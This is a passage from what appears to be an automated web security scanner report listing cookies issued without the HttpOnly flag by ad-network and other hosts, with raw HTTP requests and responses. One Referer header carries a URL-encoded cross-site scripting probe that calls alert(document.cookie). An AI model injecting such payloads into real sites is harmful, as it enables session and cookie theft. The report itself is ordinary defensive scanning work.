l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#mP5!!!!$<lise!#mP6!!!!$<lise!#naX!!!!#<lja'!#ndJ!!!!$<lP]'!#ndP!!!!$<lP]'!#nda!!!!$<lP]'!#ne$!!!!$<lP]'!#p#b!!!!#<lja'!#p9d!!!!#<lj09!#pD8!!!!#<l`GD!#p]T!!!!$<kL2n!#sx#!!!!#<lQj5"

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:57 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT
Set-Cookie: bh="b!!!$[!!$ha!!DPb<lQiA!!'iQ!!!!#<htUa!!*$n!!!!#<htUa!!*10!!!!$<lQj,!!,D(!!!!%<lQj,!!-?2!!!!)<lQj,!!-G2!!!!$<lise!!-yu!!!!%<hu%6!!.+B!!!!%<hu%:!!0!j!!!!(<lQj,!!0+@!!!!$<jb`/!!04a!!!!$<jb`/!!1CD!!!!$<lP]!!!1Mv!!!!#<hfYB!!1SP!!!!$<ie@u!!2(x!!!!'<lQj,!!4<u!!!!(<lQj,!!4d6!!!!#<jbN=!!5i*!!!!#<himW!!<@x!!!!%<lSWC!!?VS!!DPb<lQiA!!J>N!!!!#<k2yx!!KNF!!ErC<k0fB!!L(*!!!!#<h67=!!L(^!!!!#<lja'!!L_w!!!!(<lja'!!MZU!!!!#<lQiC!!Mr(!!ErC<k0fB!!ObA!!!!#<lQj,!!ObV!!!!#<lQj,!!OgU!!!!'<lQj,!!Z-E!!!!#<lQj,!!Z-G!!!!#<lQj,!!Z-L!!!!#<lQj,!!Zw`!!!!$<lQj,!!Zwb!!!!%<lQj,!!`Yp!!!!#<htUb!!fP+!!!!#<k`g7!!hqJ!!!!#<lP]!!!i0,!!!!#<lQj,!!iEC!!!!%<lQj,!!iEb!!!!(<lQj,!!i_9!!!!#<lQj,!!jD6!!!!#<lja'!!mDJ!!!!#<lQq8!!qOs!!!!#<htUb!!qOt!!!!#<htUb!!qOu!!!!#<htUb!!qu+!!!!#<lP]!!!r-X!!!!#<iMv0!!s6R!!!!#<htUb!!s9!!!!!#<jc#c!!u[u!!!!(<lVbU!!utd!!!!(<lVbU!!utl!!!!#<lSD*!!uto!!!!#<lVbU!!uu)!!!!%<lSVZ!!v:e!!!!'<lQj,!!y]X!!!!#<k11E!!ys+!!!!$<h2ED!###G!!!!#<lP[k!###_!!!!#<j?lI!##lo!!!!#<jbO@!#$=X!!!!#<gj@R!#')-!!!!#<k2yx!#*VS!!!!#<jLPe!#+]S!!!!'<lQj,!#,##!!!!'<lSWC!#-B#!!!!#<l.yn!#-vv!!!!$<iC/K!#.dO!!!!(<lja'!#/:a!!!!#<lP]'!#/G2!!!!#<lQj,!#/G<!!!!#<lQj,!#/GO!!!!#<lQj,!#/yX!!!!#<k2yx!#0$b!!!!%<hu%0!#15#!!ErC<k0fB!#15$!!ErC<k0fB!#17@!!DPb<lQiA!#1=E!!!!#<kI4S!#2+>!!!!'<lS0M!#2`q!!!!#<jc#g!#2mR!!!!$<lEIO!#3pS!!!!$<lR(Q!#3pv!!!!$<lP]%!#5(X!!!!#<jLPe!#5(Y!!!!#<l.yn!#5(`!!!!#<jLPe!#5(b!!!!#<kI3?!#5(f!!!!#<kI4S!#5m!!!!!#<k2yx!#5mH!!!!#<k2yx!#7(x!!!!)<lQj,!#8.'!!!!#<lP]%!#8:i!!!!#<jc#c!#8?7!!!!#<lP]!!#8A2!!!!#<k11E!#:dW!!!!#<gj@R!#<T3!!!!#<jbNC!#CC>!!!!#<lS@,!#F1H!!!!'<lS0M!#I=D!!!!#<kjhR!#Ic1!!!!#<lP]#!#K?%!!!!#<l8V)!#Kbb!!!!#<jLP/!#LI/!!!!#<k2yw!#LI0!!!!#<k2yw!#MP0!!!!#<jLPe!#MTC!!!!)<lQj5!#MTF!!!!)<lQj5!#MTH!!!!)<lQj5!#MTI!!!!)<lQj5!#MTJ!!!!)<lQj5!#N$7!!!!#<lja'!#NjS!!!!#<lI#*!#O>M!!DPb<lQiA!#OAV!!DPb<lQiA!#OAW!!DPb<lQiA!#OC2!!!!#<l/M+!#P<=!!!!#<kQRW!#PqQ!!!!#<lI#)!#PrV!!!!#<kQRW!#Q+o!!!!(<lja'!#Qh8!!!!#<l.yn!#RY.!!!!#<lja'!#Ri/!!!!(<lja'!#Rij!!!!(<lja'!#SCj!!!!$<kcU!!#SCk!!!!%<lja(!#SUp!!!!'<lQj,!#SjO!!!!#<gj@R!#SqW!!!!#<gj@R!#T#d!!!!#<k2yx!#T,d!!!!#<lR(Q!#TlE!!!!#<lP](!#TnE!!!!%<lQj5!#Tnp!!!!#<lP]#!#U5p!!!!#<gj@R!#UAO!!!!#<k2yx!#UDQ!!!!)<lQj5!#UL(!!!!%<lQW%!#W^8!!!!#<jem(!#Wb2!!DPb<lQiA!#X)y!!!!#<jem(!#X]+!!!!'<kdT!!#X]l!!!!#<lja'!#ZhT!!!!)<lQj,!#Zmf!!!!$<kT`F!#[25!!!!%<lhqW!#[L>!!!!%<lise!#]!g!!!!#<gj@R!#]%`!!!!#<lRYE!#]Ky!!!!#<gj@R!#]W%!!!!#<lja'!#^0$!!!!'<lQj,!#^0%!!!!'<lQj,!#^Bo!!!!#<lja'!#^d6!!!!#<lRYE!#_0t!!!!%<kTb(!#`SX!!!!#<gj@R!#aCq!!!!'<lisd!#aG>!!!!(<lja'!#aM'!!!!#<kp_p!#av4!!!!#<iLQl!#b.n~~!#b<[!!!!#<jHAu!#b<]!!!!#<jLPi!#b<^!!!!#<jHAu!#b<d!!!!#<jLPi!#b<e!!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K~~!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!(<lQj,!#fBk!!!!(<lQj,!#fBm!!!!(<lQj,!#fBn!!!!(<lQj,!#fBu!!!!#<gj@R!#fE=!!!!'<lQj,!#fG+!!!!(<lQj,!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!'<lQj,!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h!!!!#<lja'!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#mP5!!!!$<lise!#mP6!!!!$<lise!#naX!!!!#<lja'!#ndJ!!!!$<lP]'!#ndP!!!!$<lP]'!#nda!!!!$<lP]'!#ne$!!!!$<lP]'!#p#b!!!!#<lja'!#p9d!!!!#<lj09!#pD8!!!!#<l`GD!#p]T!!!!$<kL2n!#sx#!!!!#<lQj5"; path=/; expires=Mon, 04-Feb-2013 21:47:57 GMT
Cache-Control: no-store
Last-Modified: Sat, 05 Feb 2011 21:47:57 GMT
Pragma: no-cache
Content-Length: 43
Content-Type: image/gif
Age: 0
Proxy-Connection: close

GIF89a.............!.......,...........D..;

15.212. http://ad.zanox.com/ppv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/ppv/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ztvc=5C170200S1469386559806543875T0I14786739C0T0; path=/
zpvc=5C170200S1469386559806543875T0I14786739C0T0; expires=Tue, 08-Mar-2011 17:37:35 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ppv/?14786739C435671106 HTTP/1.1
Host: ad.zanox.com
Proxy-Connection: keep-alive
Referer: http://www.shoppinga.de/?bd2d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee3b5e976e9e=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Connection: close
Date: Sun, 06 Feb 2011 17:37:35 GMT
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Set-Cookie: ztvc=5C170200S1469386559806543875T0I14786739C0T0; path=/
Set-Cookie: zpvc=5C170200S1469386559806543875T0I14786739C0T0; expires=Tue, 08-Mar-2011 17:37:35 GMT; path=/
Content-Length: 0
Location: http://ad.zanox.com/ppv/images/onepixel.gif
pragma: no-cache
cache-control: no-store

15.213. http://ad.zanox.com/tpv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/tpv/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

zttpvc=5C40812S1469378459041154054T0I14786739C0T0; domain=.zanox.com; path=/
zptpvc=5C40812S1469378459041154054T0I14786739C0T0; expires=Sat, 07-May-2011 17:05:24 GMT; domain=.zanox.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.214. http://adclick.g.doubleclick.net/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://adclick.g.doubleclick.net
Path:	/aclk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

test_cookie=CheckForPermission; expires=Sun, 06-Feb-2011 16:15:02 GMT; path=/; domain=.doubleclick.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /aclk HTTP/1.1
Host: adclick.g.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.215. http://ak1.abmr.net/is/us.blackberry.com previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ak1.abmr.net
Path:	/is/us.blackberry.com

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

01AI=2-2-E6B4582CF8328068796C2B5053C28D2C377E8430D1A1C755D330840B4F6A6B0A-676C59CB938D0430952A82220209EB8847971233F1926F5A520082B9D9775BCB; expires=Mon, 06-Feb-2012 13:32:25 GMT; path=/; domain=.abmr.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.216. http://altfarm.mediaplex.com/ad/ck/14302-119028-23636-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/ck/14302-119028-23636-2

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

mojo2=14302:23636; expires=Tue, 5-Feb-2013 5:38:22 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.217. http://altfarm.mediaplex.com/ad/ck/9700-118565-26469-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/ck/9700-118565-26469-2

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

mojo2=9700:26469; expires=Wed, 6-Feb-2013 6:25:17 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.218. http://altfarm.mediaplex.com/ad/js/14302-119028-23636-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/14302-119028-23636-2

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

mojo3=14302:23636/4608:12284/16228:10420/15017:34880/9609:2042/11606:17922/1551:17023/11293:3113; expires=Tue, 5-Feb-2013 5:03:01 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.219. http://altfarm.mediaplex.com/ad/nc/14302-119028-23636-2 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/nc/14302-119028-23636-2

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

mojo2=14302:23636; expires=Tue, 5-Feb-2013 6:09:26 GMT; path=/; domain=.mediaplex.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.220. http://amch.questionmarket.com/adsc/d852910/8/40051907/decide.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adsc/d852910/8/40051907/decide.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

CS1=deleted; expires=Fri, 05-Feb-2010 21:53:46 GMT; path=/; domain=.questionmarket.com
CS1=823529-1-2_39959898-17-1_40016019-8-1_40015506-8-3_849331-6-5_825697-8-1_39942282-8-1_39823749-21-1_40142779-4-1_38973908-10-1_865756-1-6_40051907-8-2; expires=Wed, 28-Mar-2012 13:53:47 GMT; path=/; domain=.questionmarket.com
ES=823529-ie.pM-MG_844890-`:tqM-0_822109-|RIsM-26_853829-y]GsM-Bi1_847435-l^GsM-!"1_791689-/qcsM-0_852149-*jtsM-0_775684-'LysM-0_865756-tvKtM-01_852910-XHktM-c8; expires=Wed, 28-Mar-2012 13:53:47 GMT; path=/; domain=.questionmarket.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.221. http://ar.voicefive.com/b/wc_beacon.pli previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/b/wc_beacon.pli

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BMX_G=method%2D%3E%2D1%2Cts%2D%3E1296999600%2E136%2Cwait%2D%3E10000%2C; path=/; domain=.voicefive.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.222. http://ar.voicefive.com/bmx3/broker.pli previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:00 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:00 GMT; path=/; domain=.voicefive.com;
BMX_G=method->-1,ts->1296999600; path=/; domain=.voicefive.com;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.223. http://au2m8.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://au2m8.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=NQJKKYS192.168.100.219CKOWU; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: au2m8.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; videoID=expired; auto=expired; playlist=5731; j2playlist=4881

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.219CKOWU; path=/
Date: Sun, 06 Feb 2011 13:24:32 GMT
Server: Apache
Last-Modified: Wed, 11 Aug 2010 15:51:56 GMT
ETag: "b6843e-23c-48d8e3aaaff00"
Accept-Ranges: bytes
Content-Length: 572
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...

15.224. http://b.scorecardresearch.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/b

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=1f00d615-24.143.206.88-1294170954; expires=Mon, 04-Feb-2013 21:47:55 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.225. http://b.scorecardresearch.com/p previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/p

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=1f00d615-24.143.206.88-1294170954; expires=Mon, 04-Feb-2013 22:44:03 GMT; path=/; domain=.scorecardresearch.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.226. http://b.voicefive.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/b

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

UID=1d29d89e-72.246.30.75-1294456810; expires=Tue, 05-Feb-2013 13:40:00 GMT; path=/; domain=.voicefive.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.227. http://baselinemag.us.intellitxt.com/al.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/al.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:22:40 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /al.asp?ts=20110206132315&adid=401622%2C401622%2C401622&cc=us&di=29166142%2C28321520%2C28321702&hk=1&ipid=12630&mh=167defd4b82c3759d8e6179eb5de4354&pid=2%2C2%2C2&pvm=b60133d74d36fa666d2419a757f62f74&pvu=F09FDD7F3F444C1FA642829D016326B5&rcc=us&so=0&syid=0%2C0%2C0&uf=0%2C0%2C0&ur=0%2C0%2C0&kp=328%2C930%3B336%2C984%3B245%2C1284%3B&prf=ll%3A1385%7Cintl%3A1992%7Cpreprochrome%3A6%7Cgetconchrome%3A27%7Cadvint%3A2035%7Cadvl%3A2035%7Ctl%3A2151&jscallback=$iTXT.js.callback1 HTTP/1.1
Host: baselinemag.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAwAAArrAQAAAAMAAAEt98vDoAAAAS332v9sAAABLffbZhUAAArYAQAAAAIAAAEt99r/bAAAAS3322YVAAAK6gEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAKywEAAAADAAABLffLw6AAAAEt99r/bAAAAS3322YVAAAK6QEAAAACAAABLffa/2wAAAEt99tmFQAACugBAAAAAQAAAS33y8OgAAAPpgEAAAACAAABLffa/2wAAAEt99tmFQAACs0BAAAAAQAAAS33y8OgAAAKzAEAAAABAAABLffLw6AAAArSAQAAAAEAAAEt98vDoAAABBUBAAAAAQAAAS2qBrSKAAAK1QEAAAABAAABLffLw6AAAAAAnwCngQ--"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wcAAAEt+yNLhQA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:22:40 GMT; Path=/
Content-Type: text/javascript
Content-Length: 38
Date: Sun, 06 Feb 2011 13:22:40 GMT

try{$iTXT.js.callback1();}catch(e){}

15.228. http://baselinemag.us.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://baselinemag.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/
VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63wUAAAEt+yJbEgA-; Domain=.intellitxt.com; Expires=Thu, 07-Apr-2011 13:21:28 GMT; Path=/
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sun, 06 Feb 2011 13:21:27 GMT
Content-Length: 10685

document.itxtDisabled=1;
document.itxtDebugOn=false;
if(document.itxtDisabled){
document.itxtInProg=1;
if ('undefined'== typeof $iTXT){$iTXT={};};if (!$iTXT.cnst){$iTXT.cnst={};} if (!$iTXT.debug){$iT
...[SNIP]...

15.229. http://blogmarks.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blogmarks.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

bouncer-identity=77fd9aaff8aac835291861b20f783cff; expires=Sun, 05-Feb-2012 22:46:03 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: blogmarks.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Forbidden
Date: Sat, 05 Feb 2011 22:46:03 GMT
Server: Apache
Set-Cookie: bouncer-identity=77fd9aaff8aac835291861b20f783cff; expires=Sun, 05-Feb-2012 22:46:03 GMT; path=/
Vary: Accept-Encoding
Content-Length: 9
Connection: close
Content-Type: text/html

Forbidden

15.230. http://blogs.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blogs.splunk.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

Apache=173.193.214.243.1296942657575208; path=/; expires=Sun, 01-Feb-26 21:50:57 GMT; domain=.splunk.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: blogs.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.231. http://bookmarks.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bookmarks.yahoo.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

B=09agn1l6krkph&b=3&s=ud; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com
BM=s=LDVsdFYCatO4ydCGoEx.tvU_iJRm7U79Rm8ZBWzQWig9Jua.4WPHLMYOfETs9WsebSGQKwKvJhaD2Ss827uiYbPTNOu8IEabjNdTarxICXCpI.pIctl0_oBjRh.gfwu_g5Hd0M4JdVsM2h0OBeqR&u=ki2BuH0CatOne_jM4iqfgUJ6xVkQN9m96VK.qXug1XT2CnidwyTN_4VV3w--; path=/; domain=.bookmarks.yahoo.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: bookmarks.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.232. http://bs.serving-sys.com/BurstingPipe/BannerRedirect.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/BannerRedirect.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 11:00:06 GMT; domain=bs.serving-sys.com; path=/
u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /BurstingPipe/BannerRedirect.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; B3=7lgH0000000001sG89PS000000000QsZ89PT000000000.sZ8mb20000000001t48i440000000001t28bwx0000000001t482790000000002t5852G0000000003sS8qav0000000001t57dNH0000000002sZ84ZE0000000001t67GHq0000000001s.7FCH0000000001s.84ZF0000000002t683xP0000000001sF8cVQ0000000001sV82980000000001t3852N0000000001s.84U10000000001t687ma0000000001s.6o.Q0000000001sY7gi30000000001sG8i430000000001t2852z0000000001sS852A0000000001sS; A3=f+JvabEk02WG00002h5iUabNz07l00000Qh5j3abNz07l00000.gLnTaeKR09sO00001gYyfadw90cvM00001gn3Ka4JO09MY00001gNfHaaiN0aVX00001fU+La50V0a+r00001gL2MadKj0bdR00001gYRSaeKR09sO00001gFjwaeKR09sO00001gKXMaepH0bdR00001h802ae7k0c6L00001fUFGa50V02WG00001gYx+adw90cvM00001gKXNaepP0bdR00001gy3.ach00c9M00001gHrHaeKS09sO00001cRreabeg03Dk00001heXiaeru0c9M00001gy7La9bU0c9M00003gy5Da9bU0c9M00001gCTVa9bU0c9M00001gvKEacgY0c9M00001ge4Gack+0bM000001ge4Hack+0bM000001gNQ4ae7r0c9M00001; u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz010; C4=; ActivityInfo=000p81bCx%5f; u3=1;

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Length: 0
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Set-Cookie: eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 11:00:06 GMT; domain=bs.serving-sys.com; path=/
Set-Cookie: u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 16:00:06 GMT
Connection: close

15.233. http://bs.serving-sys.com/BurstingPipe/BannerSource.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/BannerSource.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

eyeblaster=BWVal=2657&BWDate=40580.359340&debuglevel=&FLV=10.1103&RES=128&WMPV=0; expires=Sat, 07-May-2011 11:00:06 GMT; domain=bs.serving-sys.com; path=/
u2=1f5940fe-c0d1-459f-8c91-e4475c881fca3Gz01g; expires=Sat, 07-May-2011 11:00:06 GMT; domain=.serving-sys.com; path=/
C_=BlankImage

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /BurstingPipe/BannerSource.asp HTTP/1.1
Host: bs.serving-sys.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
